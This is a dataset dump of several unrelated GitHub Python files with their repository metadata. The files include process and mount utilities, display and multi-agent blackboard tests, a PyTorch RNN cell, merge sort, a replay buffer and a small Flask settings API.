blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
213 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
246 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
a96118cd12e8d37f1bfa0717003e2f71d4d0b13d
cfb6923223bd5b2cad56ece404f74fbb6889837b
/TAPI_RI/funcs_TapiNotification/context_NotificationUuidAdditionalinfoImpl.py
b072bd089f71b4d606369b8051988de259d74058
[ "Apache-2.0" ]
permissive
XingZhao-CATR/Snowmass-ONFOpenTransport
27206bd84ff8d9ea2ec7b8ee25a9085b9c96af6d
c5807944bb1333a8ed83d6beea3e55922d006495
refs/heads/develop
2021-01-13T16:59:27.016238
2016-12-21T13:19:17
2016-12-21T13:19:17
77,099,371
1
0
null
2016-12-22T01:29:16
2016-12-22T01:29:16
null
UTF-8
Python
false
false
432
py
import os.path, sys sys.path.append(os.path.join('/'.join(os.path.dirname(os.path.realpath(__file__)).split('/')[:-1]))) import backend.backend as be class Context_NotificationUuidAdditionalinfoImpl: @classmethod def get(cls, uuid): print 'handling get' if uuid in be.Context._notification: return be.Context._notification[uuid].additionalInfo else: raise KeyError('uuid')
[ "ricard.vilalta@cttc.es" ]
ricard.vilalta@cttc.es
faeb207030c3a1325ed5a10052f5c62623ddb01a
f1259ed94f0d9cfa2a788881be375057f662e738
/Roll Your Own CDN/killCDNProcess.py
34f6d2adf38e7f3b42471f93f6b2667ed4647057
[]
no_license
sekurisukumar/MyProjects
eb464a180c41a1539152f2e61e68decba91dfb82
e6e83c8ee192198ac29a8fd51e3d6ed2da0f8684
refs/heads/master
2020-04-12T21:43:31.503572
2018-12-30T03:34:22
2018-12-30T03:34:22
162,770,299
0
0
null
null
null
null
UTF-8
Python
false
false
106
py
import os, sys os.system("kill $(ps aux | grep python | grep " + sys.argv[1] + " | awk '{print $2}')")
[ "noreply@github.com" ]
sekurisukumar.noreply@github.com
e08b5b8bafd47b1a6d1586d007f5b01ac9bcc88b
d8b4224ddde18dea3c37ae1727d2df49f62ea68f
/tests/test_display.py
3819f37675d1313672ae4a60fedda417536c010d
[ "MIT" ]
permissive
Happy-Ferret/peru
1c878e00964409f255ab9347c1753d9e693c62bd
2414a4a8839cddb2422332a25f205acc2866acd7
refs/heads/master
2020-03-28T13:47:31.278310
2018-07-19T05:08:19
2018-07-19T05:08:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,107
py
import io import re import textwrap from peru import display import shared class DisplayTest(shared.PeruTest): def test_quiet_display(self): output = io.StringIO() disp = display.QuietDisplay(output) with disp.get_handle('title') as handle: handle.write('some stuff!') disp.print('other stuff?') self.assertEqual('other stuff?\n', output.getvalue()) def test_verbose_display(self): output = io.StringIO() disp = display.VerboseDisplay(output) with disp.get_handle('title') as handle: handle.write('in job 1\n') disp.print('print stuff') handle.write('in job 2\n') expected = textwrap.dedent('''\ === started title === print stuff === finished title === in job 1 in job 2 === ''') self.assertEqual(expected, output.getvalue()) def test_fancy_display(self): output = FakeTerminal() disp = display.FancyDisplay(output) handle1 = disp.get_handle('title1') handle1.__enter__() handle1.write('something1') disp._draw() # We need to test trailing spaces, and the '# noqa: W291' tag stops the # linter from complaining about these. expected1 = textwrap.dedent('''\ ╶ title1: something1 ''') # noqa: W291 self.assertEqual(expected1, output.getlines()) handle2 = disp.get_handle('title2') handle2.__enter__() handle2.write('something2') disp._draw() expected2 = textwrap.dedent('''\ ┌ title1: something1 └ title2: something2 ''') # noqa: W291 self.assertEqual(expected2, output.getlines()) handle3 = disp.get_handle('title3') handle3.__enter__() handle3.write('something3') disp._draw() expected3 = textwrap.dedent('''\ ┌ title1: something1 ├ title2: something2 └ title3: something3 ''') # noqa: W291 self.assertEqual(expected3, output.getlines()) disp.print('stuff above') # Calling _draw() should not be necessary after print(). This ensures # that we won't lose output if the program exits before _draw_later() # gets another chance to fire. expected4 = textwrap.dedent('''\ stuff above ┌ title1: something1 ├ title2: something2 └ title3: something3 ''') # noqa: W291 self.assertEqual(expected4, output.getlines()) handle2.__exit__(None, None, None) disp._draw() expected5 = textwrap.dedent('''\ stuff above ┌ title1: something1 └ title3: something3 ''') # noqa: W291 self.assertEqual(expected5, output.getlines()) handle1.__exit__(None, None, None) disp._draw() expected6 = textwrap.dedent('''\ stuff above ╶ title3: something3 ''') # noqa: W291 self.assertEqual(expected6, output.getlines()) handle3.__exit__(None, None, None) # _draw() should not be necessary after the last job exits. expected7 = textwrap.dedent('''\ stuff above ''') self.assertEqual(expected7, output.getlines()) self.assertEqual(None, disp._draw_later_handle) class FakeTerminal: '''Emulates a terminal by keeping track of a list of lines. Knows how to interpret the ANSI escape sequences that are used by FancyDisplay.''' def __init__(self): self.lines = [io.StringIO()] self.cursor_line = 0 # Flush doesn't actually do anything in fake terminal, but we want to # make sure it gets called before any lines are read. self.flushed = False def write(self, string): tokens = [display.ANSI_DISABLE_LINE_WRAP, display.ANSI_ENABLE_LINE_WRAP, display.ANSI_CLEAR_LINE, display.ANSI_CURSOR_UP_ONE_LINE, '\n'] # The parens make this a capturing expression, so the tokens will be # included in re.split()'s return list. token_expr = '(' + '|'.join(re.escape(token) for token in tokens) + ')' pieces = re.split(token_expr, string) for piece in pieces: if piece in (display.ANSI_DISABLE_LINE_WRAP, display.ANSI_ENABLE_LINE_WRAP): # Ignore the line wrap codes. TODO: Test for these? continue elif piece == display.ANSI_CLEAR_LINE: buffer = self.lines[self.cursor_line] buffer.seek(0) buffer.truncate() elif piece == display.ANSI_CURSOR_UP_ONE_LINE: col = self.lines[self.cursor_line].tell() self.cursor_line -= 1 assert self.cursor_line >= 0 new_buffer = self.lines[self.cursor_line] new_buffer.seek(col) elif piece == '\n': self.cursor_line += 1 if self.cursor_line == len(self.lines): self.lines.append(io.StringIO()) self.lines[self.cursor_line].seek(0) else: self.lines[self.cursor_line].write(piece) def flush(self): self.flushed = True def getlines(self): # Make sure flush() was called after the last write. assert self.flushed self.flushed = False # Make sure none of the lines at or beyond the cursor have any text. for i in range(self.cursor_line, len(self.lines)): assert self.lines[i].getvalue() == '' # Concatenate all the lines before the cursor, and append trailing # newlines. lines = io.StringIO() for i in range(self.cursor_line): lines.write(self.lines[i].getvalue()) lines.write('\n') return lines.getvalue()
[ "oconnor663@gmail.com" ]
oconnor663@gmail.com
00afa24d945b1a7e8c8fd047dc078cef8bb2d30d
413bc9d5c700d86001579e15d3bd97574157c6f4
/test/test_ka.py
61b162f6cdbedcd1c69d93f8a4b013a210efac82
[ "MIT" ]
permissive
ryanstwrt/multi_agent_blackboard_system
91a78c22074b3c54af0a90960ae2599b761af710
b8f6ab71dfe0742a6f690de19b97d10504fc1768
refs/heads/master
2021-12-19T20:09:14.424704
2021-09-22T15:22:32
2021-09-22T15:22:32
237,267,327
2
2
MIT
2021-09-22T15:22:32
2020-01-30T17:32:21
Python
UTF-8
Python
false
false
9,123
py
import osbrain from osbrain import run_nameserver from osbrain import run_agent import mabs.bb.blackboard as blackboard import mabs.ka.base as ka import time import os def test_ka_init_agent(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() ka_b = run_agent(name='ka_base', base=ka.KaBase) assert ka_b.get_attr('bb') == None assert ka_b.get_attr('bb_lvl') == 0 assert ka_b.get_attr('_entry') == None assert ka_b.get_attr('_entry_name') == None assert ka_b.get_attr('_writer_addr') == None assert ka_b.get_attr('_writer_alias') == None assert ka_b.get_attr('_executor_addr') == None assert ka_b.get_attr('_executor_alias') == None assert ka_b.get_attr('_trigger_response_addr') == None assert ka_b.get_attr('_trigger_response_alias') == 'trigger_response_ka_base' assert ka_b.get_attr('_trigger_publish_addr') == None assert ka_b.get_attr('_trigger_publish_alias') == None assert ka_b.get_attr('_trigger_val') == 0 assert ka_b.get_attr('_shutdown_addr') == None assert ka_b.get_attr('_shutdown_alias') == None ns.shutdown() time.sleep(0.05) def test_add_blackboard(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b.add_blackboard(bb) ka_b_bb = ka_b.get_attr('bb') assert ka_b.get_attr('bb') == bb assert bb.get_attr('agent_addrs') == {'ka_base': {}} ns.shutdown() time.sleep(0.05) def test_connect_executor(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b.add_blackboard(bb) ka_b.connect_executor() assert ka_b.get_attr('_executor_alias') == 'executor_ka_base' assert bb.get_attr('agent_addrs')['ka_base']['executor'] == (ka_b.get_attr('_executor_alias'), ka_b.get_attr('_executor_addr')) ns.shutdown() time.sleep(0.05) def test_connect_complete(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b.add_blackboard(bb) ka_b.connect_complete() assert ka_b.get_attr('_complete_alias') == 'complete_ka_base' assert bb.get_attr('agent_addrs')['ka_base']['complete'] == (ka_b.get_attr('_complete_alias'), ka_b.get_attr('_complete_addr')) ns.shutdown() time.sleep(0.05) def test_connect_trigger_event(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b.add_blackboard(bb) ka_b.connect_trigger() assert ka_b.get_attr('_trigger_publish_alias') == 'trigger' assert bb.get_attr('agent_addrs')['ka_base']['trigger_response'] == (ka_b.get_attr('_trigger_response_alias'), ka_b.get_attr('_trigger_response_addr')) assert ka_b.get_attr('_trigger_publish_alias') == 'trigger' assert ka_b.get_attr('_trigger_publish_addr') == bb.get_attr('_pub_trigger_addr') ns.shutdown() time.sleep(0.05) def test_connect_shutdown(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b.add_blackboard(bb) ka_b.connect_shutdown() assert ka_b.get_attr('_shutdown_alias') == 'shutdown_ka_base' assert bb.get_attr('agent_addrs')['ka_base']['shutdown'] == (ka_b.get_attr('_shutdown_alias'), ka_b.get_attr('_shutdown_addr')) ns.shutdown() time.sleep(0.05) def test_connect_writer(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b.add_blackboard(bb) ka_b.connect_writer() assert ka_b.get_attr('_writer_alias') == 'writer_ka_base' assert bb.get_attr('agent_addrs')['ka_base']['writer'] == (ka_b.get_attr('_writer_alias'), ka_b.get_attr('_writer_addr')) ns.shutdown() time.sleep(0.05) def test_fail_to_connect(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b.connect_writer() ka_b.connect_executor() ka_b.connect_shutdown() ka_b.connect_trigger() ka_b.connect_complete() assert ka_b.get_attr('_executor_alias') != 'executor_ka_base' assert ka_b.get_attr('_trigger_publish_alias') != 'trigger' assert ka_b.get_attr('_trigger_publish_alias') != 'trigger' assert ka_b.get_attr('_shutdown_alias') != 'shutdown_ka_base' assert ka_b.get_attr('_writer_alias') != 'writer_ka_base' ns.shutdown() time.sleep(0.05) def test_move_curent_entry(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_base = run_agent(name='ka', base=ka.KaBase) ka_base.add_blackboard(bb) ka_base.connect_writer() bb.add_abstract_lvl(2, {'valid': bool}) bb.add_panel(2, ['new', 'old']) bb.update_abstract_lvl(2, 'core_1', {'valid': True}, panel='new') assert bb.get_attr('abstract_lvls')['level 2'] == {'new' : {'core_1' : {'valid' : True}}, 'old' : {}} ka_base.move_entry(2, 'core_1', {'valid': True}, 'old', 'new') assert bb.get_attr('abstract_lvls')['level 2'] == {'new' : {}, 'old' : {'core_1' : {'valid' : True}}} ns.shutdown() time.sleep(0.05) def test_write_to_blackboard(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b.set_attr(bb_lvl=1) ka_b.add_blackboard(bb) ka_b.connect_writer() bb.add_abstract_lvl(1, {'entry 1': tuple, 'entry 2': list, 'entry 3': str}) assert bb.get_attr('_agent_writing') == False ka_b.set_attr(bb_level=1) ka_b.write_to_bb(ka_b.get_attr('bb_lvl'), 'core_1', {'entry 1': (0,1,0), 'entry 2': [0,1,0], 'entry 3': 'test'}) assert bb.get_attr('_agent_writing') == False assert bb.get_attr('abstract_lvls') == {'level 1': {'core_1': {'entry 1': (0,1,0), 'entry 2': [0,1,0], 'entry 3': 'test'}}} ns.shutdown() time.sleep(0.05) def test_trigger_event(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b1 = run_agent(name='ka_base1', base=ka.KaBase) ka_b2 = run_agent(name='ka_base2', base=ka.KaBase) ka_b.add_blackboard(bb) ka_b1.add_blackboard(bb) ka_b2.add_blackboard(bb) ka_b.connect_trigger() ka_b1.connect_trigger() ka_b2.connect_trigger() bb.publish_trigger() bb.controller() time.sleep(0.05) assert bb.get_attr('_kaar') == {1: {'ka_base': 0, 'ka_base1': 0, 'ka_base2': 0}} assert bb.get_attr('_ka_to_execute') == (None, 0) ka_b1.set_attr(_trigger_val=1) bb.publish_trigger() bb.controller() time.sleep(0.1) assert bb.get_attr('_kaar') == {1: {'ka_base': 0, 'ka_base1': 0, 'ka_base2': 0}, 2: {'ka_base': 0, 'ka_base1': 1, 'ka_base2': 0}} assert bb.get_attr('_ka_to_execute') == ('ka_base1', 1) ns.shutdown() time.sleep(0.05) def test_shutdown(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b.add_blackboard(bb) ka_b.connect_shutdown() assert ns.agents() == ['blackboard', 'ka_base'] bb.send('shutdown_ka_base', 'message') time.sleep(0.05) assert ns.agents() ==['blackboard'] ns.shutdown() time.sleep(0.05) def test_complete(): try: ns = run_nameserver() except OSError: time.sleep(0.5) ns = run_nameserver() bb = run_agent(name='blackboard', base=blackboard.Blackboard) ka_b = run_agent(name='ka_base', base=ka.KaBase) ka_b.add_blackboard(bb) ka_b.connect_complete() assert bb.get_attr('_new_entry') == False ka_b.action_complete() time.sleep(0.05) assert bb.get_attr('_new_entry') == True ns.shutdown() time.sleep(0.05)
[ "stewryan@isu.edu" ]
stewryan@isu.edu
64a4984a709589934cfbcef4675dc3cf39963de0
c7d57352b1efcff23952399039a3a501b9b8f526
/node_modules/hexo/node_modules/minimatch/.npmignore
2ce873fc15e45be39ab6fe7229ef1417fc8cf9fd
[ "MIT" ]
permissive
hejiheji001/HexoBlog
010304d880b05f0353acfef4b8e1b5909fa7eea3
fe012b8ba95afb7b381da225240e340cb9bba046
refs/heads/master
2021-01-17T00:10:18.383959
2016-10-27T03:00:15
2016-10-27T03:00:15
31,499,152
2
0
null
null
null
null
UTF-8
Python
false
false
16
npmignore
# nothing here
[ "hejiheji001@gmail.com" ]
hejiheji001@gmail.com
479c6df07ee2067bd8e31fa13092af72264de4a3
f4a776732510052964f36111ea63036193ec3547
/foo.py
8e0f69d9ebced0d8856fd5f4f4b6f8ec0d66848a
[]
no_license
Omar-Al-Khathlan/Generate-TV-Scripts
0713dc9716cc665015ae580704c6529140b9502d
d7a5ecf6a33f3f2ed719adc9aa41b57518148e7a
refs/heads/main
2023-06-26T21:00:37.432337
2021-07-28T17:15:07
2021-07-28T17:15:07
390,412,143
0
1
null
null
null
null
UTF-8
Python
false
false
3,032
py
import numpy as np import torch.nn as nn class RNN(nn.Module): def __init__(self, vocab_size, output_size, embedding_dim, hidden_dim, n_layers, dropout=0.5): """ Initialize the PyTorch RNN Module :param vocab_size: The number of input dimensions of the neural network (the size of the vocabulary) :param output_size: The number of output dimensions of the neural network :param embedding_dim: The size of embeddings, should you choose to use them :param hidden_dim: The size of the hidden layer outputs :param dropout: dropout to add in between LSTM/GRU layers """ super(RNN, self).__init__() # TODO: Implement function # set class variables self.output_size = output_size self.n_layers = n_layers self.hidden_dim = hidden_dim # define model layers # embedding and LSTM layers self.embedding = nn.Embedding(vocab_size, embedding_dim) self.lstm = nn.LSTM(embedding_dim, hidden_dim, n_layers, dropout=dropout, batch_first=True) # linear and sigmoid layers self.fc = nn.Linear(hidden_dim, output_size) def forward(self, nn_input, hidden): """ Forward propagation of the neural network :param nn_input: The input to the neural network :param hidden: The hidden state :return: Two Tensors, the output of the neural network and the latest hidden state """ # TODO: Implement function batch_size = nn_input.size(0) # embeddings and lstm_out embeds = self.embedding(nn_input) lstm_out, hidden = self.lstm(embeds, hidden) lstm_out = lstm_out[:, -1, :] # getting the last time step output # dropout and fully-connected layer out = self.fc(lstm_out) # return one batch of output word scores and the hidden state return out, hidden def init_hidden(self, batch_size): ''' Initialize the hidden state of an LSTM/GRU :param batch_size: The batch_size of the hidden state :return: hidden state of dims (n_layers, batch_size, hidden_dim) ''' # Implement function # initialize hidden state with zero weights, and move to GPU if available weight = next(self.parameters()).data if (torch.cuda.is_available()): hidden = (weight.new(self.n_layers, batch_size, self.hidden_dim).zero_().cuda(), weight.new(self.n_layers, batch_size, self.hidden_dim).zero_().cuda()) else: hidden = (weight.new(self.n_layers, batch_size, self.hidden_dim).zero_(), weight.new(self.n_layers, batch_size, self.hidden_dim).zero_()) return hidden """ DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE """ tests.test_rnn(RNN, train_on_gpu)
[ "omarkhathlan@gmail.com" ]
omarkhathlan@gmail.com
8d898a9098f45f858bcd9243ea785d06f01a38c3
9e15d6c1ad6ebb44ba2c04115ff1019c63a19b27
/Alumno/urls.py
77e0393a78fce89366ed66da38fc3e887ef16dc8
[]
no_license
angel-de-jesus/digtalOcea
b1d782848483155523b029008075bf51099f2f99
5a54e27b5c1cf3fb710eed3e311470ebbce00fd9
refs/heads/master
2022-12-14T20:19:19.622258
2019-06-20T04:26:49
2019-06-20T04:26:49
192,848,077
0
0
null
2022-12-08T05:16:37
2019-06-20T04:24:49
Python
UTF-8
Python
false
false
443
py
from django.urls import path, re_path from django.conf.urls import include from django.contrib.auth.models import User # from rest_framework import routers, serializers, viewsets # importa todas las vistas exclusivas de la aplicacion from . import views urlpatterns = [ re_path(r'^$', views.AlumnoList.as_view()), re_path(r'^(?P<pk>\d+)$', views.AlumnoDetail.as_view()), # path('al/<int:pk>/', views.AlumnoDetail.as_view()), ]
[ "173237@ids.upchiapas.edu.mx" ]
173237@ids.upchiapas.edu.mx
f7e9514b9b8b0877acc82021d8c2f1625d25d99d
363d7f6d635315ae6788bf0227651f4056bb5111
/mergesort.py
c7ba3eab3b3626c2debabbaefd5715201d0e1ccb
[]
no_license
projeto-de-algoritmos/D-C_Dupla2B
3cf52a9dfa11afbf1b2e1248934c4a17f65fda8b
729962f99bd72a034d2803c0634f3fcaccd15cc3
refs/heads/master
2023-01-10T04:26:52.053715
2020-11-14T02:42:41
2020-11-14T02:42:41
310,455,060
0
0
null
null
null
null
UTF-8
Python
false
false
721
py
def main(vet): #print("Splitting ",vet) if len(vet)>1: mid = len(vet)//2 lefthalf = vet[:mid] righthalf = vet[mid:] main(lefthalf) main(righthalf) i=0 j=0 k=0 while i < len(lefthalf) and j < len(righthalf): if lefthalf[i] < righthalf[j]: vet[k]=lefthalf[i] i=i+1 else: vet[k]=righthalf[j] j=j+1 k=k+1 while i < len(lefthalf): vet[k]=lefthalf[i] i=i+1 k=k+1 while j < len(righthalf): vet[k]=righthalf[j] j=j+1 k=k+1 # print("Merging ",alist)
[ "lucas.alexandre.df@gmail.com" ]
lucas.alexandre.df@gmail.com
d1e6c1c880ab0a436ef4b85cee04c4da718deb43
6690f53809f4eb53bda2cb54a2b929173493dda7
/Server/service/api/setting/api.py
6bb581dccf400bff45ed9c0afc3abf55875cca05
[]
no_license
K-Mertin/konew_docker
b93427f1b32ce17fae47d8b912eb21d029bcd7ab
612a609cde18eb44f1dec3921517f733c2c4ad52
refs/heads/master
2021-05-11T09:38:43.561793
2018-11-29T04:54:58
2018-11-29T04:54:58
118,082,533
0
0
null
null
null
null
UTF-8
Python
false
false
1,636
py
from flask import Blueprint, jsonify, g, request, current_app, make_response from dataAccess.settingAccess import settingAccess from werkzeug.security import generate_password_hash, check_password_hash import datetime import json, os import jwt import decorators apiSetting = Blueprint('setting', __name__) @apiSetting.before_request def before_request(): apiSetting.dataAccess = settingAccess() @apiSetting.route('/update', methods=['PUT']) @decorators.token_required def update_setting(currentUser): print(currentUser) if currentUser['role'] != 'admin': return make_response(jsonify({'message' :'unauthorized'}), 401) data=json.loads(request.data) apiSetting.dataAccess.update_setting(data['settingName'], data['key'], data['value']) return make_response(jsonify({'message' :'success'}), 200) @apiSetting.route('/add', methods=['POST']) @decorators.token_required def create_setting(currentUser): print(currentUser) if currentUser['role'] != 'admin': return make_response(jsonify({'message' :'unauthorized'}), 401) data=json.loads(request.data) apiSetting.dataAccess.add_setting(data) return jsonify({'message' : 'New setting created!'}) @apiSetting.route('/<settingName>', methods=['GET']) def get_setting(settingName): setting = apiSetting.dataAccess.get_setting(settingName) setting['_id'] = str(setting['_id']) return jsonify(setting) @apiSetting.route('/list', methods=['GET']) def get_setting_list(): setting = apiSetting.dataAccess.get_setting_list() return jsonify(list(map(lambda x : x['settingName'], setting)))
[ "mertin_k@hotmail.com" ]
mertin_k@hotmail.com
0332704480190159d6341b75eedc805a2190f6af
2b290d054202fc60175fb93b6c3138fc22b0abde
/seawatch_registration/views/signin.py
377f57fc01ef669a36894fb10278f78693c540fd
[]
no_license
innoq/seawatch_planner
5ec45edf0eadb27922bb19bf60069bba5750409a
66f595497cc232747dcc2fe60c9106e84a49773b
refs/heads/master
2020-08-27T07:57:36.453250
2020-01-30T15:11:38
2020-01-30T15:11:38
217,291,570
4
1
null
2020-01-31T13:48:32
2019-10-24T12:17:16
Python
UTF-8
Python
false
false
265
py
from django.shortcuts import redirect def login_success(request): """ The admin has no profile that could be displayed """ if not hasattr(request.user, 'profile'): return redirect('index') else: return redirect('registration_process')
[ "jan.michal@innoq.com" ]
jan.michal@innoq.com
8b6c76c493f0719226a3515b1c155eee750b6ec7
a900daab4e56be4f5a96813ebe5dbe6afbb27578
/PyPoll.py
a8e34eeac255df9b86e637db91c6a120f7749348
[]
no_license
sanketkumaronline/Election_Analysis
0ba540c73f2a04d09ae54264aadb5ed8d80f8259
fbe7730c1d27be6f2e8a3a5666bb3935737cc927
refs/heads/main
2023-02-22T02:42:27.915355
2021-01-18T03:49:53
2021-01-18T03:49:53
328,528,096
0
0
null
null
null
null
UTF-8
Python
false
false
3,078
py
# Add our dependencies import csv import os # Assign a variable to load a file from a path file_to_load = os.path.join("Resources","election_results.csv") # Assign a varible to save the file to a path file_to_save = os.path.join("analysis","election_analysis.txt") # Initialize a total vote counter total_votes = 0 # Candidate options and candidate votes candidate_options = [] candidate_votes = {} # Winning candidate, vote count, and percentage winning_candidate = "" winning_count = 0 winning_percentage = 0 # Open the election results and read the file with open(file_to_load) as election_data: file_reader = csv.reader(election_data) # Read the header row header = next(file_reader) # Print each row in heade file for row in file_reader: # Add to the total vote count total_votes += 1 # Get the candidate name from each row candidate_name = row[2] # If the candidate does not match any existing candidate, add the # the candidate list. if candidate_name not in candidate_options: # Add the candidate name to the candidate list candidate_options.append(candidate_name) # And begin tracking that candidate's voter count candidate_votes[candidate_name] = 0 # Add a vote to that candidate's count candidate_votes[candidate_name] += 1 # Save the results to our text file. with open(file_to_save, "w") as txt_file: # Print the final vote count to the terminal election_results = ( f"\nElection Results\n" f"-------------------------\n" f"Total Votes: {total_votes:,}\n" f"-------------------------\n") print(election_results, end="") # Save the final vote count to the text file txt_file.write(election_results) for candidate_name in candidate_options: # Retrieve vote count and percentage votes = candidate_votes[candidate_name] vote_percentage = float(votes) / float(total_votes) * 100 candidate_results = (f"{candidate_name}: {vote_percentage:.1f}% ({votes:,})\n") # Print each candidate's voter count and percentage to the terminal print(candidate_results) # Save the candidate results to our text file txt_file.write(candidate_results) # Determine winning vote count, winning percentage, and winning candidate if votes > winning_count and vote_percentage > winning_percentage: winning_count = votes winning_percentage = vote_percentage winning_candidate = candidate_name # Print the winning candidate's results to the terminal winning_candidate_summary = ( f"-----------------------------------\n" f"Winner: {winning_candidate}\n" f"Winning Vote Count: {winning_count:,}\n" f"Winning Percentage: {winning_percentage:.1f}%\n" f"-----------------------------------\n") print(winning_candidate_summary) # Save the winning candidate's results to the text file txt_file.write(winning_candidate_summary)
[ "smartsanket@gmail.com" ]
smartsanket@gmail.com
6f7349ef4ffdce0ee6ded87fb455f7b3dd32b926
8ce28d9a4045fdd6d16f2d85337a5de6c57b981e
/replay_buffer.py
655a920254eea6534caf1e69f5a30bf05d222ac9
[]
no_license
RUFFY-369/SAC_implementation
1785330d288e00d95fe3d939387ec8d1c12788b8
317959a2e325f1b0109c1b6d28421f23e8ee084f
refs/heads/master
2023-01-18T23:06:17.171082
2020-11-14T08:10:29
2020-11-14T08:10:29
312,184,136
2
0
null
null
null
null
UTF-8
Python
false
false
1,218
py
import numpy as np class replay_buffer(): def __init__(self,max_size,inp_shape,n_actions): self.size_mem= max_size self.count_mem = 0 self.state_mem = np.zeros((self.size_mem,*inp_shape)) self.new_state_mem = np.zeros((self.size_mem,*inp_shape)) self.action_mem = np.zeros((self.size_mem,n_actions)) self.terminal_mem = np.zeros(self.size_mem,dtype=bool) self.reward_mem = np.zeros(self.size_mem) def transition_store(self,state,action,reward,nw_state,done): indx = self.count_mem % self.size_mem self.state_mem[indx] = state self.new_state_mem[indx] = nw_state self.reward_mem[indx] = reward self.terminal_mem[indx] = done self.action_mem[indx] = action self.count_mem+=1 def sample_buffer(self,batch_size): max_mem = min(self.count_mem,self.size_mem) batch =np.random.choice(max_mem,batch_size) states= self.state_mem[batch] nw_states = self.new_state_mem[batch] rewards = self.reward_mem[batch] actions = self.action_mem[batch] dones= self.terminal_mem[batch] return states,actions,rewards,nw_states,dones
[ "prakarshkaushik369@gmail.com" ]
prakarshkaushik369@gmail.com
e67e7c02172bd0bf36604adab9d024d7f0acc0f5
76fbcb9e331866f3eefa7a4816984c9761a593e8
/checkout/urls.py
8bae2072dc7b8a0e73e81695619fd93f3075275f
[]
no_license
Code-Institute-Submissions/fostoria
e437718a1cf5c3dfe541ffda31cbb41d6e04107f
0f41c24d3f1b13d9b96643d3eb5f60bdd99ea1df
refs/heads/master
2022-12-26T03:55:20.826960
2020-09-29T10:07:10
2020-09-29T10:07:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
267
py
""" Checkout app urls to be imported to main project urls """ from django.urls import path from . import views urlpatterns = [ path('delivery/', views.checkout_delivery_view, name='delivery'), path('payment/', views.checkout_payment_view, name='payment'), ]
[ "mwcalow@gmail.com" ]
mwcalow@gmail.com
1e817e7cb011415b934f504d62191e0c879cb687
d96c1ae508ec5112f887203cf0f6bd5c4e13455e
/scrapy_artigos_folha/items.py
12110670c71a8f7558c2f1149f6b8de6b3c2ab1d
[]
no_license
spectralgrid/scrapy-folhadesaopaulo
15df070d1d3000085ee6605125be0ee3a1a1e04c
c035aeba1e5bc9308dda821ccd2d4e2cf601ddec
refs/heads/master
2023-06-11T21:40:21.729879
2012-12-22T16:12:12
2012-12-22T16:12:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
340
py
# Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/topics/items.html from scrapy.item import Item, Field class Artigo(Item): nome=Field() url=Field() conteudo=Field() def __str__(self): return "Artigo [nome=%s; conteudo=%s]" % (self["nome"], self["conteudo"][:200])
[ "moises.trovo@aresfinance.com.br" ]
moises.trovo@aresfinance.com.br
cea619411b3c72d2406c08badb507cfffed67fe0
37c41eb0982ee51b53c76b2daf0a441e3d601c8f
/07-17/mounttab.py
c8342f29ba01cdc79b6e17ae2780d6dab44d267a
[]
no_license
5it6ub/m0rin09ma3-python-2013
50e58192d391e4e723fbdf4e2625c7ac23276b87
6b6e3d0cb7b02e166ed80a7276acad9da7843388
refs/heads/master
2021-01-23T12:06:16.292198
2013-08-22T01:44:56
2013-08-22T01:44:56
null
0
0
null
null
null
null
UTF-8
Python
false
false
486
py
import os def mount_details(): """ Prints the mount details """ if os.path.exists('/proc/mounts'): fd = open('/proc/mounts') for line in fd: line = line.strip() words = line.split() print '%s on %s type %s' % (words[0], words[1], words[2]), if len(words) > 5: print '(%s)' % ' '.join(words[3:-2]) else: print '' if __name__ == '__main__': mount_details()
[ "boss.gori@gmail.com" ]
boss.gori@gmail.com
